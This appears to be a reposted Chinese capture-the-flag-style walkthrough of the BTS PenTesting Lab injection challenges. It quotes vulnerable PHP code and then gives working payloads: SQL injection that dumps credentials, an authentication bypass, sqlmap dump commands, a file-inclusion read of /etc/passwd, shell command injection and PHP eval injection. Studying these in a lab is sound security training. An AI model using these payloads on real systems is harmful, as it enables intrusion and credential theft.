BTS PenTesting Lab - A1 Injection
来源:互联网 发布:暴风tv 直播软件 编辑:程序博客网 时间:2024/04/29 20:31
SQL Injection
Sql Injection 1
- 源文件:/btslab/vulnerability/ForumPosts.php
# 第7行mysql_query("DELETE from posts where postid='$id'") or die("Failed to Delete the post");# 第14行$result=mysql_query("select * from posts where postid=".$_GET['id']) or die(mysql_error());
直接把传过来的id未过滤就带进SQL去了
地址:http://192.168.1.228/vulnerability/ForumPosts.php?id=1
判断是否存在注入的方法在后面and 1=1
返回正常、and 1=2
无返回或加'
报错
- 判断数据库版本
id=1 and ord(mid(version(),1,1))>52
返回正常,说明数据库是mysql,并且版本大于5.0,52是ACSII码的4
- 判断字段长度
id=1 order by 10 # 返回错误id=1 order by 5 # 返回错误id=1 order by 4 # 返回正常
建议用“二分查找”,直到返回页面正常
- 判断哪些字段可以显示数据
id=1 union select 1,2,3,4
这里显示2,3,4列字典可以用来显示数据
- 查数据库信息
id=1 union select 1,database(),version(),user()
在mysql5.0以上版本中增加了一个系统库information_schema
,可以直接暴库、表、字段。
构造查表名
id=1 union select 1,2,table_name,4 from information_schema.tables where table_schema=0x6274736c6162 limit 1,3
table_schema=[库名],库名要转换成16进制,limit第几个到第几个表范围
python3字符从转16进制在前面加0x
for x in 'btslab':print(hex(ord(x))[2:],end='')
查字段
id=1 union select 1,2,column_name,4 from information_schema.columns where table_name=0x706f737473 limit 1,3
最后查询用户数据
id=1 union select 1,2,username,password from users limit 1,3
Authentication Bypass
- 源文件:/login.php
#第9行$result=mysql_query("select * from users where username='$username' and password='$password' ") or die(mysql_error());;
登录认证绕过,构造SQL,用户名admin' or '1'='1
,密码空或随意,SQL语句如下
select * from users where username='admin' or '1'='1' and password=''
成功登录
Blind SQLi 1
- 源文件:/btslab/vulnerability/sqli/UserInfo.php
第7、8行$result=mysql_query("select * from users where id=".$id);$data=@mysql_fetch_array($result);
存在注入,但屏蔽了错误显示,返回只有“正常”和“不正常”两种,属于SQL盲注,比较耗时,使用sqlmap跑
地址:http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1
列数据库
列数据库# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" --dbs列表名# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" -T btslab --tables列字段# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" -T btslab -T users --columns列字段内容# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" -T btslab -T users -C username,password --dump
Blind SQLi 2
- 源文件:/btslab/vulnerability/sqli/blindsqli.php
SQL盲注,放sqlmap
# sqlmap -u "http://192.168.1.228/vulnerability/sqli/blindsqli.php?id=2" -T btslab -T users -C username,password --dump
# 第19行include($data['page']);
include
,如果权限足够,可以将任意文件包含进来,比如/etc/passwd
id=3 union select '/etc/passwd'
Command Injection
- 源文件:/btslab/vulnerability/cmd/cmd.php
# 第14行$result=shell_exec("ping ".$_GET['host']);# 第18行$result=shell_exec("ping -c 4 ".$_GET['host']);
都直接将参数带入到命令,利用系统管道符进行命令注入8.8.8.8 | ls -la
,执行时成了
ping -c 4 8.8.8.8 | ls -la
PHP Code Injection
Challenge 1
- 源文件:/btslab/vulnerability/phpinjection/challenge1.php
# 第7行eval('$output = ' . $data. ';');
直接将参数带到eval中,直接提交phpinfo()
http://192.168.1.228/vulnerability/phpinjection/challenge1.php?data=phpinfo%28%29
Challenge 2
- 源文件:/btslab/vulnerability/phpinjection/challenge2.php
# 第6行$data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data);
'strtoupper("\\1")'
外面有单引号,这时用双美元符${${variable}}
注入代码
data={${phpinfo()}}
Remote File Inclusion
- 源文件://btslab/vulnerability/rfi/RFI.php
这里是远程文件包含,需要在php.ini将allow_url_include
打开
file=https://www.baidu.com
本地包含直接提交文件名即可
Server Side Includes(SSI) Injection
- 源文件://btslab/vulnerability/ssi/ssi.php
确保.htaccess
能解析
嵌入SSI指令打印当前文件名
<!--#echo var="DOCUMENT_NAME"-->
- BTS PenTesting Lab - A1 Injection
- BTS PenTesting Lab - Installation
- BTS PenTesting Lab - More..
- BTS PenTesting Lab - A3 XSS
- BTS PenTesting Lab - A8 CSRF
- BTS PenTesting Lab - A5 Security Misconfiguration
- BTS PenTesting Lab - A10 Unvalidated Redirect & Forward..
- BTS PenTesting Lab - A4 Insecure Direct Object References
- BTS PenTesting Lab - A7 Missing Function Level Access Control
- BTS
- Pentester Lab学习计划之From SQL Injection to Shell II
- a1
- a1
- a1
- A1
- BTS指令
- BTS BSC
- BTS指令
- (转载)C++ ofstream和ifstream详细用法
- 配置Java jdk(备忘)
- Openwrt永久修改MAC地址源代码
- ZooKeeper+Wildfly(jboss)+SolrCloud搭建
- 天声人語 20151225 両陛下と戦争の悲しみ
- BTS PenTesting Lab - A1 Injection
- AMF解析遇上XXE,BurpSuite也躺枪
- 日经春秋 20151225
- Android 通讯方式(发送Post、Get请求)
- aspx 端口转发,代码提取自 aspxspy
- js放置位置及原因
- 三种SVM的对偶问题
- 给 Android 开发者的 RxJava 详解
- C 角度计算经验代码集合